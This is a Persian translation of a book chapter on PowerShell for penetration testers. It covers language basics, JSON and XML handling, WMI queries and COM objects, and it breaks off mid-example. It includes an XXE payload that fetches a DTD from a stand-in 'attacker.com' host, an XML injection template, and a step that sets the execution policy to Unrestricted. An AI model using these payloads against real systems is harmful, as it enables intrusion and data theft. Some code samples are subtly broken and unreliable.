Programming Principles in PowerShell

در دنیای تست نفوذ، اطلاعات مایه حیات موفقیت است. توانایی استخراج، دستکاری و معنا بخشیدن به داده‌ها از منابع مختلف می‌تواند به معنای تفاوت بین یک نقض امنیتی و یک سیستم امن باشد. در این فصل مهم، به قابلیت‌های قدرتمند PowerShell، پوسته خط فرمان همه‌کاره مایکروسافت و زبان اسکریپت‌نویسی، و ارتباط عمیق آن با تست نفوذ، به‌ویژه مهارت آن در برخورد با JSON و XML می‌پردازیم. فرمت‌های داده در این فصل به موارد زیر می‌پردازیم، عبارتند از:

- PowerShell’s versatility in penetration testing
- Navigating JSON and XML with PowerShell
- Automation, integration, and reporting

PowerShell به دلیل سازگاری و کارایی لازم، جایگاه خود را به عنوان ابزار مناسبی برای تست نفوذگران به دست آورده است. پشتیبانی گسترده آن از JSON و XML در این زمینه از اهمیت بالایی برخوردار است. این فرمت‌های داده در همه جا وجود دارند و اغلب حاوی اطلاعات حیاتی در سیستم‌ها، برنامه‌ها یا سرویس‌های وب هستند که نیاز به تجزیه و تحلیل کامل در طول تست نفوذ دارند.

در این فصل، ما سفری را آغاز خواهیم کرد تا بررسی کنیم که چگونه مجموعه غنی از cmdlet ها و عملکردهای PowerShell، تست نفوذگر را قادر می‌سازد تا داده‌های JSON و XML را به طور یکپارچه پیمایش، تجزیه و دستکاری کنند. ما کشف خواهیم کرد که چگونه PowerShell به عنوان پلی بین داده‌های خام و بینش عملی قرار می‌گیرد. از استخراج اطلاعات حساس مدفون در پاسخ‌های JSON گرفته تا تشریح پیکربندی‌های XML، به درک جامعی از نحوه استفاده مؤثر از این قابلیت‌ها، دست خواهید یافت.

همانطور که پیشرفت می‌کنیم، ارزش عظیمی را که PowerShell از طریق اتوماسیون، یکپارچه سازی و گزارش دهی ساده به جدول می‌آورد، کشف خواهیم کرد. ما نحوه خودکارسازی وظایف معمول، ادغام PowerShell با سایر ابزارها و چارچوب‌های تست نفوذ، و ایجاد گزارش‌های مناسب برای ذینفعان را با پردازش داده‌های JSON و XML کشف خواهیم کرد.

در این فصل، ما شما را به دانش و مهارت‌های مورد نیاز برای استفاده از PowerShell به عنوان یک سلاح قدرتمند در زرادخانه تست نفوذ خود مجهز می‌کنیم. برای استفاده از قدرت داده‌ها با دقت و ظرافت، کشف آسیب‌پذیری‌ها و تقویت امنیت سیستم‌های هدف خود آماده شوید.

موضوعاتی که در این فصل به آن‌ها پرداخته خواهد شد به شرح زیر است:

- Basic concepts of PowerShell and pipeline in PowerShell

- JSON in PowerShell
- XML in PowerShell
- Component Object Model (COM), Windows Management Instrumentation (WMI), and .NET in PowerShell

Basic concepts of PowerShell and pipelines in PowerShell

PowerShell یک زبان برنامه نویسی همه کاره و قدرتمند است که برای خودکارسازی وظایف اداری و ساده سازی فرآیندهای پیچیده در دنیای محیطهای ویندوز طراحی شده است. پاورشل که در ابتدا توسط مایکروسافت در سال ۲۰۰۶ منتشر شد، به دلیل قابلیت‌های گسترده و سهولت استفاده به سرعت در بین متخصصان فناوری اطلاعات، مدیران سیستم و توسعه دهندگان محبوبیت پیدا کرد. PowerShell بسیار فراتر از Shell های سنتی با ترکیب یک رابط خط فرمان با یک زبان برنامه نویسی گسترش می‌یابد. به عنوان یک زبان برنامه نویسی استاندارد، PowerShell از ساختارهای زیر پشتیبانی می‌کند:

- Sequence
- Selection
- Iteration
- Encapsulation

در هسته خود، PowerShell بر روی Net Framework. ساخته شده است و امکان یکپارچه سازی با اجزای سیستم ویندوز و کتابخانه‌های شخص ثالث را فراهم می‌کند. قابلیت‌های نحوی و اسکریپت‌نویسی آن از زبان‌های محبوبی مانند سی شارپ به عاریت گرفته می‌شود و آن را برای توسعه‌دهندگان آشنا با اکوسیستم مایکروسافت قابل دسترس می‌کند. با این حال، حتی کسانی که دانش برنامه نویسی گسترده‌ای ندارند، می‌توانند به لطف مدل اسکریپت نویسی بصری آن، از قدرت PowerShell استفاده کنند.

یکی از ویژگی‌های برجسته PowerShell توانایی آن در مدیریت اشیاء و دستکاری آسان داده‌های ساخت یافته است. برخلاف زبان‌های اسکریپت نویسی Shell سنتی که عمدتاً با جریان‌های متنی سروکار دارند، PowerShell اطلاعات را به عنوان اشیایی با Property ها و متدها در نظر می‌گیرد. این رویکرد شی‌گرا دستکاری داده‌ها را ساده نموده و عملیات پیچیده با حداقل کد را امکان پذیر می‌کند. PowerShell همچنین دارای مجموعه گسترده‌ای از cmdlet ها است که دستورات از پیش ساخته شده‌ای برای انجام طیف گسترده‌ای از وظایف مدیریت سیستم هستند. با آرایه وسیعی از cmdlet های موجود، کاربران می‌توانند وظایفی مانند مدیریت فایل، کنترل فرآیند، دستکاری رجیستری و پیکربندی شبکه را بدون نیاز به نوشتن کد سفارشی از ابتدا انجام دهند.

علاوه بر این، PowerShell تنها به سیستم‌های ویندوز محدود نمی‌شود. با ظهور PowerShell Core (همچنین به عنوان PowerShell 7 نیز شناخته می‌شود)، مایکروسافت پشتیبانی از macOS، Linux و دیگر پلتفرم‌ها را گسترش داد و آن را به یک راه حل واقعاً چند پلتفرمی تبدیل کرد. برای این کتاب، ما روی PowerShell 7 تمرکز می‌کنیم. PowerShell 7 را می‌توانید در لینک زیر پیدا کنید:

https://github. com/PowerShell/PowerShell.

همانطور که اتوماسیون در محیط‌های مدرن فناوری اطلاعات ضروری می‌شود، PowerShell به عنوان یک راه حل پیشرو برای هماهنگی و خودکارسازی کارهای تکراری، کاهش خطای انسانی و صرفه جویی در زمان ارزشمند برجسته می‌شود. قابلیت‌های اسکریپت نویسی غنی، رویکرد شی‌گرا و مجموعه گسترده cmdlet ها، آن را به ابزاری ضروری برای مدیریت و نگهداری موثر سیستم‌های مبتنی بر ویندوز تبدیل کرده است.

بنابراین، اجازه دهید با شناسایی نسخه PowerShell که در حال اجراست شروع کنیم. ما می‌توانیم با بررسی متغیر محلی $PSVersionTable به این امر دست یابیم:

```
PS C:\> $PSVersionTable
Name                           Value
----                           -----
PSVersion                      7.3.0
PSEdition                      Core
GitCommitId                    7.3.0
OS                             Microsoft Windows 10.0.19042
Platform                       Win32NT
PSCompatibleVersions           1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
```

اکنون که نسخه PowerShell در حال اجرا بر روی سیستم هدف را می‌دانیم، قدم بعدی ما درک سیاست اجرایی است که هدف برای اسکریپت‌های PowerShell پیاده‌سازی می‌کند. برای رسیدن به این هدف می‌توانیم موارد زیر را اجرا کنیم:

```
PS C:>Get-ExecutionPolicy -List
        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine    RemoteSigned

PS C:>
```

PowerShell یک زبان برنامه نویسی است. توانایی اجرای اسکریپت‌های PowerShell را می‌توان در ماشین محلی فعال یا غیرفعال کرد. برای فعال کردن PowerShell می‌توانیم از دستور زیر استفاده کنیم:

```
PS C:\> Set-ExecutionPolicy Unrestricted
```

هنگامی که توانایی اجرای اسکریپت‌های PowerShell را در سیستم مورد نظر ایجاد کردیم، باید ماژول‌هایی را که برای دانلود و نصب در دسترس ما هستند شناسایی کنیم. برای پشتیبانی از استفاده مجدد از نرم افزار، PowerShell از ماژول‌ها استفاده می‌کند. ما می‌توانیم همه ماژول‌های موجود را با استفاده از دستور find-module فهرست کنیم، جایی که می‌توان یک ماژول حاوی یک کلمه کلیدی را با استفاده از گزینه tag به صورت زیر جستجو کرد:

```
PS C:\> find-module -tag SSH
```

هنگامی که ماژول مورد نظر را شناسایی کردیم، می‌توانیم با استفاده از دستور Install-Module آن را دانلود و نصب کنیم. بنابراین در ادامه ماژول SSH را دانلود و نصب می‌کنیم:

```
PS C:\> Install-Module -Name SSH
```

ما همچنین می‌توانیم یک ماژول PowerShell را مستقیماً Import کنیم. در ادامه توابع یا cmdlet ها را از ماژول PowerSploit.psd1، Import می‌کنیم. برای نصب یک ماژول PowerShell، باید این دستور را در PowerShell با سطح دسترسی administrator یا root اجرا کنید:

```
PS C:\> Import-Module .\PowerSploit.psd1
```

هنگامی که ما می‌توانیم یک ماژول را وارد کنیم، می‌توانیم توابع یا cmdlet هایی را که از طریق cmdlet Get-Command پشتیبانی می‌شوند، بررسی کنیم. در ادامه، از cmdlet Get-Command برای شناسایی توابع پشتیبانی شده توسط ماژول SSH استفاده خواهیم کرد:

```
PS C:\> Get-Command -module SSH

CommandType     Name                Version    Source
-----------     ----                -------    ------
Function        Invoke-SSHCommand   1.0.0      SSH
```

ما می‌توانیم نحوه استفاده از ماژول PowerShell را با استفاده از دستور get-help شناسایی کنیم. در ادامه نحوه استفاده از Get-Location را بررسی خواهیم کرد:

```
PS C:\> get-help Get-Location
```

اکنون که نحوه نصب پاورشل و ماژول‌ها را آموختیم، اجازه دهید به ساختارهای برنامه نویسی مرتبط با پاورشل نگاهی بیندازیم. در PowerShell 7، متغیرها و انواع داده‌ها نقش مهمی در ذخیره‌سازی و دستکاری داده‌ها دارند. متغیرها به‌عنوان محفظه‌هایی برای نگهداری مقادیر عمل می‌کنند، در حالی که انواع داده‌ها ماهیت و ویژگی‌های داده‌های ذخیره‌شده را تعریف می‌کنند. درک نحوه کار با متغیرها و انواع داده‌ها برای اسکریپت نویسی و اتوماسیون موثر اساسی است.

متغیرها در PowerShell با استفاده از نماد $ و نام متغیر ایجاد می‌شوند. PowerShell یک زبان تایپ پویا است، به این معنی که نیازی به تعریف صریح نوع داده یک متغیر قبل از استفاده از آن نیست. نوع داده بر اساس مقدار تخصیص داده شده به متغیر تعیین می‌شود. برخی از انواع داده‌های رایج در PowerShell به شرح زیر است:

Boolean: این برای تعریف حالت باینری استفاده می‌شود. یک متغیر بولی می‌تواند True یا False باشد.

Strings: این برای ذخیره متن یا کاراکترها استفاده می‌شود. آن‌ها را می‌توان با استفاده از تک کوتیشن یا دابل کوتیشن تعریف کرد:

```
$name = "Andrew Blyth"
```

Integers: این برای ذخیره اعداد کامل استفاده می‌شود:

```
$age = 57
```

Arrays: این برای ذخیره چندین مقدار در یک متغیر استفاده می‌شود:

```
$myfruits = @("apple", "banana", "orange")
```

Hash tables: این‌ها برای ذخیره جفت‌های Key/Value استفاده می‌شوند:

```
$person = @{
    Name = "Andrew Blyth"
    Age = 57}
```

استفاده از متغیرها و انواع داده‌ها به طور موثر در PowerShell 7 شما را قادر می‌سازد تا داده‌ها را به طور موثر در اسکریپت‌های خود ذخیره، دستکاری و مدیریت کنید و آن را به ابزاری قدرتمند برای اتوماسیون، مدیریت سیستم و وظایف پردازش داده تبدیل می‌کند.

در PowerShell، دستور if یک ساختار کنترلی اساسی است که به شما اجازه می‌دهد تا بلوک‌های خاصی از کد را بر اساس شرایط خاص اجرا کنید. این دستور معمولاً برای تصمیم گیری در اسکریپت‌ها و خودکارسازی وظایف استفاده می‌شود. Syntax مربوط به دستور if ساده است:

```
if (condition) {
    # Code block to execute if the condition is true
}
```

بیایید چند مثال را بررسی کنیم تا نشان دهیم چگونه دستور if را می‌توان در PowerShell استفاده کرد. فرض کنید می‌خواهید قبل از انجام اقدامات بعدی بررسی کنید که آیا یک فایل وجود دارد یا خیر. Test-Path اغلب همراه با دستور if استفاده می‌شود:

```
$file = "C:\mydatafile.txt"
if (Test-Path $file) {
      Write-Host "The file exists!"
} else {
      Write-Host "File not found."}
```

در PowerShell، حلقه‌ها و ساختارهای تکرار ساختارهای جریان کنترلی حیاتی هستند که به شما امکان می‌دهند یک بلوک کد را به طور مکرر بر اساس شرایط مشخص شده اجرا کنید. این حلقه‌ها برای خودکارسازی وظایفی که شامل تکرار از طریق مجموعه‌ها، پردازش داده‌ها و انجام عملیات‌های تکراری است، حیاتی هستند. PowerShell چندین ساختار حلقه مانند for، foreach، while، do...while و غیره را ارائه می‌دهد که ما با مثال‌هایی بررسی خواهیم کرد تا بفهمیم چگونه می‌توان از آن‌ها به طور موثر استفاده نمود:

for: حلقه for برای اجرای یک بلوک کد در تعداد مشخصی استفاده می‌شود. این دستور معمولاً زمانی که تعداد دقیق تکرارهای مورد نیاز را می‌دانید، بسیار مفید است. for شامل یک مقدار اولیه، یک شرط و یک عبارت تکرار است:

```
for ($i = 1; $i -le 5; $i++) {
    Write-Host "For loop iteration: $i"}
```

foreach: حلقه foreach برای تکرار در میان آیتم‌های یک مجموعه (آرایه‌ها، لیست‌ها و غیره) و انجام یک عمل برای هر آیتم استفاده شده و به طور خودکار از طریق هر عنصر در مجموعه تکرار می‌شود:

```
$fruits = @("Apple", "Banana", "Orange")
foreach ($fruit in $fruits) {
    Write-Host "I like $fruit"}
```

while: حلقه while یک بلوک کد را به طور مکرر اجرا می‌کند تا زمانی که یک شرط درست باقی بماند. while قبل از هر تکرار به طور مداوم شرایط را ارزیابی می‌کند:

```
$i = 1
while ($i -le 5) {
    Write-Host "While loop iteration: $i"
    $i++}
```

do...While: حلقه do...while مانند حلقه while است، اما یک تفاوت کلیدی دارد: ابتدا بلوک کد را اجرا می‌کند و سپس شرایط را بررسی می‌کند. این تضمین می‌کند که حلقه حداقل یک بار اجرا شود:

```
$i = 1
do {
    Write-Host "Do...While loop iteration: $i"
    $i++
} while ($i -le 5)
```

ForEach-Object (Loop Pipeline): علاوه بر حلقه foreach، PowerShell یک حلقه مبتنی بر pipeline با استفاده از ForEach-Object ارائه می‌دهد. این به شما امکان می‌دهد اشیایی را که از طریق pipeline منتقل می‌شوند یکی یکی پردازش کنید:

```
$numbers = 1..5
$numbers | ForEach-Object {
    Write-Host "Pipeline Loop: $_"}
```

PowerShell مجموعه‌ای غنی از ساختارهای loop/repeat را ارائه می‌دهد که به شما امکان می‌دهد کارهای تکراری را خودکار کنید، مجموعه‌های داده را پردازش کرده و جریان اسکریپت‌های خود را به طور موثر کنترل نمایید. درک و استفاده از این ساختارها، اسکریپت‌های PowerShell شما را کاراتر و قدرتمندتر می‌کند. هنگام استفاده از حلقه‌ها، به حلقه‌های بی‌نهایت بالقوه توجه داشته باشید و برای مدیریت جریان کد خود، همیشه عبارت‌های break یا continue را درج کنید.

JSON in PowerShell

تست نفوذ یک فعالیت حیاتی است که شامل شبیه سازی حملات دنیای واقعی برای شناسایی آسیب‌پذیری‌ها و نقاط ضعف در یک سیستم یا شبکه است. PowerShell، یک زبان برنامه نویسی قدرتمند بومی در محیط ویندوز، به دلیل انعطاف پذیری، قابلیت‌های اتوماسیون گسترده و توانایی تعامل با سرویس‌های وب و API ها، ابزاری ارزشمند برای تست نفوذگران است. در این بخش، نحوه استفاده از PowerShell

برای مدیریت داده‌های JSON به عنوان بخشی از تست نفوذ را بررسی خواهیم کرد. ما سناریوهایی مانند بازیابی داده‌های JSON از APIهای وب، تجزیه پاسخ‌های JSON، استخراج اطلاعات ارزشمند از اشیاء JSON و دستکاری پیلودهای JSON برای اهداف آزمایشی را پوشش خواهیم داد.

Retrieving JSON Data from Web APIs

تست نفوذگران اغلب برای جمع آوری اطلاعات یا انجام ارزیابی، نیاز به تعامل با API های وب دارند. از PowerShell می‌توان برای ارسال درخواست HTTP به APIها و بازیابی داده‌های JSON استفاده کرد. این کار را می‌توان با استفاده از Invoke-RestMethod، که فرآیند ایجاد درخواست‌های HTTP و مدیریت پاسخ‌ها را ساده می‌کند، به دست آورد:

```
$repoUrl = "https://api.snowcapcyber.com/repo"
$response = Invoke-RestMethod -Uri $repoUrl
$response
```

در این مثال، ما یک درخواست HTTP GET را با استفاده از InvokeRestMethod به URL مشخص شده ارسال می‌کنیم. پاسخ در قالب JSON خواهد بود و PowerShell به طور خودکار آن را به یک شی PowerShell تبدیل می‌کند. این امر دسترسی و دستکاری داده‌ها را آسان‌تر خواهد کرد.

Parsing JSON Data

پس از بازیابی داده‌های JSON، این اطلاعات می‌بایست برای استخراج اطلاعات خاص تجزیه شود. PowerShell، ConvertFrom-Json را برای تبدیل داده‌های JSON به اشیاء PowerShell ایجاد نموده که دسترسی به عناصر جداگانه را آسان می‌کند. بیایید پاسخ JSON را از API GitHub تجزیه نموده تا نام و توضیحات مخزن را استخراج کنیم:

```
$repoUrl = "https://api.snowcapcyber.com/repo"
$response = Invoke-RestMethod -Uri $repoUrl
$repoObject = ConvertFrom-Json $response
Write-Host "Repository Name: $($repoObject.name)"
Write-Host "Description: $($repoObject.description)"
```

در این مثال، ما از ConvertFrom-Json برای تبدیل پاسخ JSON به یک شی PowerShell به نام $repoObject استفاده می‌کنیم. سپس می‌توانیم به ویژگی‌های خاصی از شی، مانند نام مخزن و توضیحات دسترسی داشته باشیم.

JSON Manipulation for Payloads

در طول تست نفوذ، دستکاری داده‌های JSON ضروری است، به‌ویژه هنگام ساخت پیلودها برای آزمایش برنامه‌های وب. PowerShell می‌تواند به راحتی پیلودهای JSON را ایجاد، اصلاح و ارسال کند. بیایید یک پیلود JSON برای یک درخواست HTTP POST به یک API آسیب‌پذیر ایجاد کنیم:

```
$payload = @{
    "username" = "admin"
    "password" = "P@ssw0rd123"
} | ConvertTo-Json
$headers = @{
    "Content-Type" = "application/json" }
Invoke-RestMethod -Uri "https://snowcapcyber.com/api/login" -Method
Post -Body $payload -Headers $headers
```

در این مثال، جدول هش PowerShell به نام $payload را با فیلدهای نام کاربری و رمز عبور تعریف می‌کنیم. سپس از ConvertTo-Json برای تبدیل جدول هش به یک پیلود JSON استفاده می‌کنیم. Invoke-RestMethod، پیلود JSON را در یک درخواست HTTP POST به API مشخص شده ارسال می‌کند.

نکته: در PowerShell، یک Hash Table یا جدول هش، مجموعه‌ای از جفت‌های کلید-مقدار است که به شما این امکان را می‌دهد که داده‌ها را به صورت ساختاریافته و به صورت دیکشنری مانند، ذخیره کنید. در این مثال، $payload یک hash table است که شامل دو جفت کلید-مقدار (username و password) می‌باشد.

Interacting with JSON from Files

تست نفوذگران اغلب با داده‌های JSON ذخیره شده در فایل‌ها سروکار دارند. PowerShell راه‌های آسانی برای خواندن و نوشتن داده‌های JSON به/از فایل‌ها ارائه می‌کند. بیایید داده‌های JSON را از یک فایل بخوانیم، یک ویژگی جدید اضافه نموده و سپس آن را در فایل ذخیره کنیم:

```
$jsonFilePath = "C:\path\to\file.json"
$jsonData = Get-Content -Raw -Path $jsonFilePath | ConvertFrom-Json

# Add a new property
$jsonData | Add-Member -Name "role" -Value "admin"

# Save updated JSON back to the file
$jsonData | ConvertTo-Json | Set-Content -Path $jsonFilePath
```

در این مثال، داده‌های JSON را از یک فایل با استفاده از Get-Content می‌خوانیم. در این مثال پارامتر -Raw تضمین می‌کند که محتوا به جای یک آرایه از خطوط، به عنوان یک رشته خوانده می‌شود. سپس محتوای JSON را به یک شی PowerShell به نام $jsonData تبدیل می‌کنیم. پس از افزودن یک ویژگی جدید به شی، از ConvertTo-Json برای تبدیل آن به فرمت JSON استفاده می‌کنیم و با استفاده از Set-Content آن را در فایل ذخیره می‌کنیم.

Web Scraping and Data Extraction

در برخی از سناریوها، تست نفوذگران ممکن است نیاز به استخراج اطلاعات خاصی از صفحات وب حاوی داده‌های JSON داشته باشند. PowerShell می‌تواند با صفحات وب تعامل داشته باشد، محتوای JSON را استخراج نموده و همچنین آن‌ها را پردازش کند. اجازه دهید اطلاعاتی را از یک صفحه وب حاوی داده‌های JSON استخراج کنیم و آن را نمایش دهیم:

```
$url = "https://snowcapcyber.com/data.json"
$response = Invoke-RestMethod -Uri $url
$data = $response.data
foreach ($item in $data) {
    Write-Host "Name: $($item.name)"
    Write-Host "Age: $($item.age)"
    Write-Host "Occupation: $($item.occupation)"
    Write-Host ""}
```

در این مثال، ما از Invoke-RestMethod برای بازیابی داده‌های JSON از URL مشخص شده استفاده می‌کنیم. سپس پاسخ در متغیر $response ذخیره می‌شود. ما فرض می‌کنیم که داده‌های

JSON حاوی آرایه‌ای از اشیا با ویژگی‌های Name، Age و Occupation هستند. ما از یک حلقه foreach برای تکرار در هر شی در آرایه و نمایش اطلاعات استخراج شده استفاده می‌کنیم.

PowerShell یک ابزار ارزشمند برای پردازش داده‌های JSON به عنوان بخشی از تست نفوذ است. پشتیبانی بومی آن از دستکاری JSON، سهولت در ایجاد درخواست‌های وب، و توانایی تجزیه پاسخ‌های JSON، آن را به گزینه‌ای همه کاره برای کار با API ها و سرویس‌های وب مبتنی بر JSON تبدیل کرده است. به عنوان یک تست‌نفوذگر، درک نحوه پردازش مؤثر داده‌های JSON در PowerShell می‌تواند توانایی شما در جمع‌آوری اطلاعات، بهره‌برداری از آسیب‌پذیری‌ها و انجام ارزیابی‌های امنیتی مختلف را به میزان قابل توجهی افزایش دهد.

XML in PowerShell

تست نفوذ یک فعالیت حیاتی در امنیت سایبری است که شامل شبیه سازی حملات دنیای واقعی برای شناسایی آسیب‌پذیری‌ها و نقاط ضعف در یک سیستم یا شبکه است. PowerShell، یک زبان برنامه نویسی همه کاره بومی در محیط ویندوز، به دلیل انعطاف پذیری، قابلیت‌های اتوماسیون گسترده و توانایی تعامل با فرمت‌های مختلف داده، از جمله XML، ابزاری ارزشمند برای تست‌نفوذگران است. در این بخش، نحوه استفاده از PowerShell را برای مدیریت داده‌های XML به عنوان بخشی از تست‌نفوذ بررسی خواهیم کرد. ما سناریوهایی مانند تجزیه فایل‌های XML، استخراج اطلاعات ارزشمند از Nodeهای XML و دستکاری پیلودهای XML برای اهداف آزمایشی را پوشش خواهیم داد.

Reading and parsing XML files

تست‌نفوذگران اغلب با فایل‌های XML حاوی داده‌های پیکربندی یا سایر اطلاعات حساس مواجه می‌شوند. PowerShell یک راه ساده برای خواندن و تجزیه فایل‌های XML با استفاده از Get-Content همراه با Select-Xml ارائه می‌دهد. بیایید یک فایل XML را که حاوی تنظیمات پیکربندی یک برنامه وب است، بخوانیم و تجزیه کنیم:

```
$xmlFilePath = "C:\MyData\config.xml"
$xmlContent = Get-Content -Path $xmlFilePath
$xmlDoc = [xml]$xmlContent
$setting1 = $xmlDoc.configuration.setting1
$setting2 = $xmlDoc.configuration.setting2
Write-Host "Setting 1: $setting1"
Write-Host "Setting 2: $setting2"
```

در این مثال، ما از Get-Content برای خواندن محتوای فایل XML مشخص شده توسط $xmlFilePath استفاده می‌کنیم. سپس محتوا را با استفاده از شتاب دهنده نوع [xml] به یک شی XML فرستادیم. شی XML که با $xmlDoc نشان داده می‌شود، به ما اجازه می‌دهد تا به عناصر و ویژگی‌های فردی در XML دسترسی داشته باشیم.

Extracting Information from XML Nodes

فایل‌های XML اغلب شامل ساختارهای تودرتو با چندین Node و ویژگی هستند. PowerShell راه‌هایی را برای پیمایش در این ساختارهای سلسله مراتبی و استخراج اطلاعات ارزشمند ارائه می‌دهد. اجازه دهید اطلاعاتی را از یک فایل XML که حاوی داده‌های مربوط به کارمندان است استخراج کنیم.

بیایید XML زیر را تعریف کنیم:

```
<employees>
    <employee id="1">
        <name>Andrew Blyth</name>
        <age>57</age>
        <position>Manager</position>
    </employee>
</employees>
```

هنگامی که XML قبلی را تعریف کردیم، می‌توانیم PowerShell زیر را برای پردازش آن ایجاد کنیم:

```
$xmlFilePath = "C:\MyData\employees.xml"
$xmlContent = Get-Content -Path $xmlFilePath
$xmlDoc = [xml]$xmlContent
$employees = $xmlDoc.employees.employee
foreach ($employee in $employees) {
    $id = $employee.id
    $name = $employee.name
    $age = $employee.age
    $position = $employee.position
    Write-Host "Employee ID: $id"
    Write-Host "Name: $name"
    Write-Host "Age: $age"
    Write-Host "Position: $position"
    Write-Host ""
}
```

در این مثال، ما فایل XML را با استفاده از روش قبلی خوانده و تجزیه می‌کنیم. سپس به گره employees دسترسی پیدا می‌کنیم و با استفاده از یک حلقه foreach، از طریق هر گره employee را تکرار می‌کنیم. در داخل حلقه، اطلاعاتی مانند شناسه کارمند، نام، سن و موقعیت را از هر گره استخراج کرده و نمایش می‌دهیم.

Modifying XML Data

تست نفوذگران ممکن است نیاز به اصلاح داده‌های XML در سناریوهای خاصی داشته باشند، مانند آزمایش آسیب‌پذیری‌های اعتبارسنجی ورودی یا دور زدن کنترل‌های امنیتی. بیایید یک فایل XML را که حاوی تنظیمات کاربر است تغییر دهیم و XML به روز شده را در فایل ذخیره کنیم.

بیایید XML زیر را تعریف کنیم:

```
<userSettings>
    <setting name="theme" value="dark" />
    <setting name="language" value="en-US" />
</userSettings>
```

هنگامی که XML قبلی را تعریف کردیم، می‌توانیم PowerShell زیر را برای پردازش آن ایجاد کنیم:

```
$xmlFilePath = "C:\MyData\settings.xml"
$xmlContent = Get-Content -Path $xmlFilePath
$xmlDoc = [xml]$xmlContent
$xmlDoc.userSettings.setting | Where-Object { $_.name -eq "theme" } |
ForEach-Object {
    $_.value = "light"}
$xmlDoc.Save($xmlFilePath)
```

در این مثال، فایل XML را مانند قبل می‌خوانیم و تجزیه می‌کنیم. سپس از Where-Object cmdlet برای فیلتر کردن Nodeهای تنظیمات بر اساس ویژگی name استفاده می‌کنیم. هنگامی که تنظیم را با نام theme پیدا کردیم، ویژگی مقدار آن را به light تغییر می‌دهیم. در نهایت از متد Save برای ذخیره XML به روز شده در فایل استفاده می‌کنیم.

Crafting XML Payloads

در طول تست‌نفوذ، ساخت پیلودهای XML سفارشی برای آزمایش آسیب‌پذیری‌های مبتنی بر XML مانند تزریق XML External Entity (XXE) معمول است. بیایید یک پیلود XML برای آزمایش یک برنامه برای آسیب‌پذیری‌های XXE ایجاد کنیم:

```
$payload = @"
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root>
    <data>Confidential information</data>
</root>
"@
# Save the payload to a file
$payloadFilePath = "C:\MyData\payload.xml"
$payload | Out-File -FilePath $payloadFilePath
```

در این مثال، ما یک پیلود XML حاوی یک اعلان موجودیت خارجی تعریف می‌کنیم که یک فایل Document Type Definition یا DTD را از سرور مهاجم واکشی می‌کند. این یک پیلود معمولی XXE است. سپس پیلود را در فایلی ذخیره می‌کنیم که می‌تواند برای آزمایش آسیب‌پذیری‌های XXE استفاده شود.

XML Injection Testing

تست‌نفوذگران اغلب برنامه‌های کاربردی وب را برای آسیب‌پذیری‌های تزریق XML آزمایش می‌کنند. از PowerShell می‌توان برای ایجاد و تزریق پیلودهای XML مخرب به فیلدهای ورودی برای ارزیابی مکانیسم‌های تجزیه و اعتبار XML برنامه استفاده کرد.

بیایید یک پیلود مخرب XML ایجاد کنیم تا آسیب‌پذیری‌های تزریق XML را در یک برنامه وب آزمایش کنیم:

```
$maliciousPayload = @"
<root>
    <data>
        <name>John Smith</name>
        <age>30</age>
        <!-- XXE injection payload goes here -->
    </data>
</root>"@
$injectionPoint = "http://snowcapcyber.com/api/data?xml=" + [System.
Web.HttpUtility]::UrlEncode($maliciousPayload)
```

در این مثال، ما یک پیلود XML مخرب حاوی یک پیلود تزریق XXE در داخل عنصر داده ایجاد می‌کنیم. سپس این پیلود را به یک فیلد ورودی (که با $injectionPoint نشان داده می‌شود) یک برنامه وب تزریق می‌کنیم تا آزمایش کنیم که آیا برنامه در برابر حملات XXE آسیب‌پذیر است یا خیر.

COM, WMI, and .NET in PowerShell

PowerShell، قابلیت‌های اتوماسیون گسترده و توانایی تعامل با فناوری‌های مختلف مانند COM، WMI و .NET.، را برای تست نفوذگران فراهم می‌کند.

Using WMI for System Information Gathering

WMI یک فناوری مدیریت قدرتمند در ویندوز است که راه استاندارد شده‌ای را برای دسترسی به اطلاعات سیستم، پیکربندی و کنترل فراهم می‌کند. PowerShell به تست نفوذگران اجازه می‌دهد تا داده‌های WMI را برای جمع‌آوری اطلاعات ارزشمند در مورد سیستم هدف جستجو کنند.

بیایید از PowerShell برای پرس و جو از WMI برای بازیابی لیست نرم افزارهای نصب شده در دستگاه مورد نظر استفاده کنیم:

```
$softwareList = Get-WmiObject -Class Win32_Product | Select-Object
-Property Name, Vendor, Version
foreach ($software in $softwareList) {
    Write-Host "Name: $($software.Name)"
    Write-Host "Vendor: $($software.Vendor)"
    Write-Host "Version: $($software.Version)"
    Write-Host "" }
```

در این مثال، ما از Get-WmiObject برای جستجو در کلاس Win32_Product استفاده می‌کنیم که نشان دهنده نرم افزار نصب شده روی سیستم است. سپس ویژگی‌های خاصی مانند Name، Vendor و Version را انتخاب کرده و اطلاعات را در خروجی نمایش می‌دهیم.

Querying WMI for Network Information

تست نفوذگران اغلب نیاز به جمع آوری اطلاعات در مورد پیکربندی شبکه سیستم هدف دارند. PowerShell می‌تواند WMI را برای به دست آوردن داده‌های مربوط به شبکه پرس و جو کند. بیایید از PowerShell برای پرس و جو از WMI برای اطلاعات کارت شبکه استفاده کنیم:

```
$networkAdapters = Get-WmiObject -Class Win32_
NetworkAdapterConfiguration | Where-Object { $_.IPAddress -ne $null }
foreach ($adapter in $networkAdapters) {
    Write-Host "Adapter Description: $($adapter.Description)"
    Write-Host "IP Address: $($adapter.IPAddress[0])"
    Write-Host "MAC Address: $($adapter.MACAddress)"
    Write-Host ""}
```

در این مثال، ما از Get-WmiObject برای پرس و جو از کلاس Win32_NetworkAdapterConfiguration استفاده می‌کنیم که نشان دهنده تنظیمات کارت شبکه است. ما نتایج را فیلتر می‌کنیم تا کارت‌های بدون آدرس IP را حذف کنیم ($_.IPAddress -ne $null). سپس توضیحات کارت شبکه، آدرس IP و آدرس MAC را برای هر کارت شبکه نمایش می‌دهیم.

Interacting with COM Objects

COM یک فناوری مایکروسافت است که به اجزای نرم افزار امکان ارتباط و تعامل با یکدیگر را می‌دهد. PowerShell دسترسی به اشیاء COM را فراهم می‌کند و به تست‌نفوذگر اجازه می‌دهد تا با اجزای COM برای اهداف مختلف تعامل داشته باشند و از آن‌ها استفاده کنند. بیایید از PowerShell برای ایجاد یک شی COM برای دستکاری فایل‌های اکسل استفاده کنیم:

```
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Add()
$sheet = $workbook.Worksheets.Item(1)
